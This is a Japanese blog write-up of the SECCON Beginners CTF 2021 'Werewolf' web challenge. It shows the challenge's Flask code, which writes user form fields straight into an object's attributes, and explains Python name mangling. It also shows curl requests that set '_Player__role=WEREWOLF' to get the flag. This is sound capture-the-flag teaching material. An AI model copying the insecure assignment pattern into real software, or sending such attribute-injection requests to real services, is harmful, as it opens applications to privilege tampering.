SECCON Beginners CTF 2021 writeup(web:Werewolf)

※本サイトはアフィリエイト広告を利用しています。
広告

SECCON Beginners CTFと本記事について

2021年5月22日と2021年5月23日に開催された「SECCON Beginners CTF 2021」の「web」の「Werewolf」問題について、解きましたので、手順を詳細に記載します。

web(Werewolf)

以下の問題文に記載がありますが、提供されたファイルをヒントにして、Webサイトで操作したらフラグが表示されると思われます。
SECCON Beginners CTF 2021_web_Werewolf(1)
WebサイトのURLにアクセスすると、以下の画面が表示されます。
SECCON Beginners CTF 2021_web_Werewolf(2)
テキストボックスにデータを入力して、送信すると以下の画面が表示されます。
SECCON Beginners CTF 2021_web_Werewolf(3)

提供されたファイルは以下の通りです。

import os
import random
from flask import Flask, render_template, request, session

# ====================

app = Flask(__name__)
app.FLAG = os.getenv("CTF4B_FLAG")

# ====================

class Player:
    def __init__(self):
        self.name = None
        self.color = None
        self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN'])
        # :-)
        # self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN', 'WEREWOLF'])

    @property
    def role(self):
        return self.__role

    # :-)
    # @role.setter
    # def role(self, role):
    #     self.__role = role


# ====================

@app.route("/", methods=["GET", "POST"])
def index():
    if request.method == 'GET':
        return render_template('index.html')

    if request.method == 'POST':
        player = Player()

        for k, v in request.form.items():
            player.__dict__[k] = v

        return render_template('result.html',
            name=player.name,
            color=player.color,
            role=player.role,
            flag=app.FLAG if player.role == 'WEREWOLF' else ''
        )

# ====================

if __name__ == '__main__':
    app.run(host=os.getenv("CTF4B_HOST"), port=os.getenv("CTF4B_PORT"))

「player.role == ‘WEREWOLF’」の時にフラグが表示されることが分かりますが、ランダムで「self.__role = random.choice([中略])」に「WEREWOLF」がないため、何回データを送信してもフラグが表示されません。
そのため、送信するデータを工夫して、roleを「WEREWOLF」にする必要があります。

以下の箇所で送信したデータを変数に入れて、roleが「WEREWOLF」であるかどうかを判定しています。

        for k, v in request.form.items():
            player.__dict__[k] = v

        return render_template('result.html',
            name=player.name,
            color=player.color,
            role=player.role,
            flag=app.FLAG if player.role == 'WEREWOLF' else ''
        )

roleを「WEREWOLF」にするためにcurlコマンドにて以下のデータを送信しましたが、nameとcolorは設定されていますが、__roleが設定されていないみたいです。

変数送信するデータ
namename123
colornavy
__roleWEREWOLF
$ curl "https://werewolf.quals.beginners.seccon.jp/" --data-raw "name=name123&color=navy&__role=WEREWOLF"
<!DOCTYPE html>
<html>

<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <title>Werewolf</title>
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bulma/0.7.2/css/bulma.min.css">
  <script defer src="https://use.fontawesome.com/releases/v5.3.1/js/all.js"></script>
</head>

<body>
  <section class="hero is-dark">
    <div class="hero-body">
      <div class="container">
        <h1 class="title">
          Werewolf
        </h1>
      </div>
    </div>
  </section>

  <section class="section">
    <div class="container">
      <div class="columns is-centered">
        <div class="column is-half">
          <h1 class="title">
            name123, you are
            <span style="color: navy">
              VILLAGER
            </span>
            .
          </h1>

            <p>You could not be a werewolf... try again!</p>

          <img src="static/VILLAGER.png" style="width: 40%" />
        </div>
      </div>
    </div>
  </section>
</body>

何が違うか分かりませんので、提供されたファイルを少し変更してどのようなデータが表示されているか確認しました。

【プログラムの内容】

import os
import random

class Player:
    def __init__(self):
        self.name = None
        self.color = None
        self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN'])

    @property
    def role(self):
        return self.__role

player = Player()

request = {'name': 'aaa',
        'color': 'red',
        '__role': 'WEREWOLF'}

for k, v in request.items():
    player.__dict__[k] = v

print(player.__dict__)
print(player.name, player.color, player.role)

【実行結果】

$ python test.py                                                                                                                                  2 ?
{'color': 'red', '__role': 'WEREWOLF', 'name': 'aaa', '_Player__role': 'FORTUNE_TELLER'}
('aaa', 'red', 'FORTUNE_TELLER')

上記の結果から、roleは「__role」ではなく「_Player__role」になっていることが分かりました。
そのため、curlコマンドで以下のデータを送信して、フラグ(ctf4b{there_are_so_many_hackers_among_us})が表示されました。

変数送信するデータ
namename123
colornavy
_Player__roleWEREWOLF
$ curl "https://werewolf.quals.beginners.seccon.jp/" --data-raw "name=name123&color=navy&_Player__role=WEREWOLF"
<!DOCTYPE html>
<html>

<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <title>Werewolf</title>
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bulma/0.7.2/css/bulma.min.css">
  <script defer src="https://use.fontawesome.com/releases/v5.3.1/js/all.js"></script>
</head>

<body>
  <section class="hero is-dark">
    <div class="hero-body">
      <div class="container">
        <h1 class="title">
          Werewolf
        </h1>
      </div>
    </div>
  </section>

  <section class="section">
    <div class="container">
      <div class="columns is-centered">
        <div class="column is-half">
          <h1 class="title">
            name123, you are
            <span style="color: navy">
              WEREWOLF
            </span>
            .
          </h1>

            <p id="flag">ctf4b{there_are_so_many_hackers_among_us}</p>

          <img src="static/WEREWOLF.png" style="width: 40%" />
        </div>
      </div>
    </div>
  </section>
</body>


SECCON Beginners CTF 2021に関する記事

SECCON Beginners CTF 2021についての関連記事は以下の通りです。
必要に応じて、ご確認ください。

Noタイトル記事の概要
1SECCON Beginners CTF 2021 writeup以下のカテゴリの問題のwriteupを記載します。
【カテゴリ:welcome】
  ・welcome
【カテゴリ:crypto】
  ・imple_RSA
【カテゴリ:reversing】
  ・only_read
  ・children
【カテゴリ:pwnable】
  ・rewriter
【カテゴリ:web】
  ・osoba
【カテゴリ:misc】
  ・git-leak
  ・Mail_Address_Validator
2SECCON Beginners CTF 2021 writeup
(crypto:simple_RSA)
cryptカテゴリのsimple_RSAの問題の
writeupを記載します。
3SECCON Beginners CTF 2021 writeup
(crypto:Logical_SEESAW)
cryptカテゴリのLogical_SEESAWの問題の
writeupを記載します。
4SECCON Beginners CTF 2021 writeup
(crypto:GFM)
cryptカテゴリのGFMの問題の
writeupを記載します。
5SECCON Beginners CTF 2021 writeup
(crypto:Imaginary)
cryptカテゴリのImaginaryの問題の
writeupを記載します。
6SECCON Beginners CTF 2021 writeup
(web:Werewolf)
webカテゴリのWerewolfの問題の
writeupを記載します。
7SECCON Beginners CTF 2021 writeup
(web:check_url)
webカテゴリのcheck_urlの問題の
writeupを記載します。
8SECCON Beginners CTF 2021 writeup
(web:json)
webカテゴリのjsonの問題の
writeupを記載します。
9SECCON Beginners CTF 2021 writeup
(web:cant_use_db)
webカテゴリのcant_use_dbの問題の
writeupを記載します。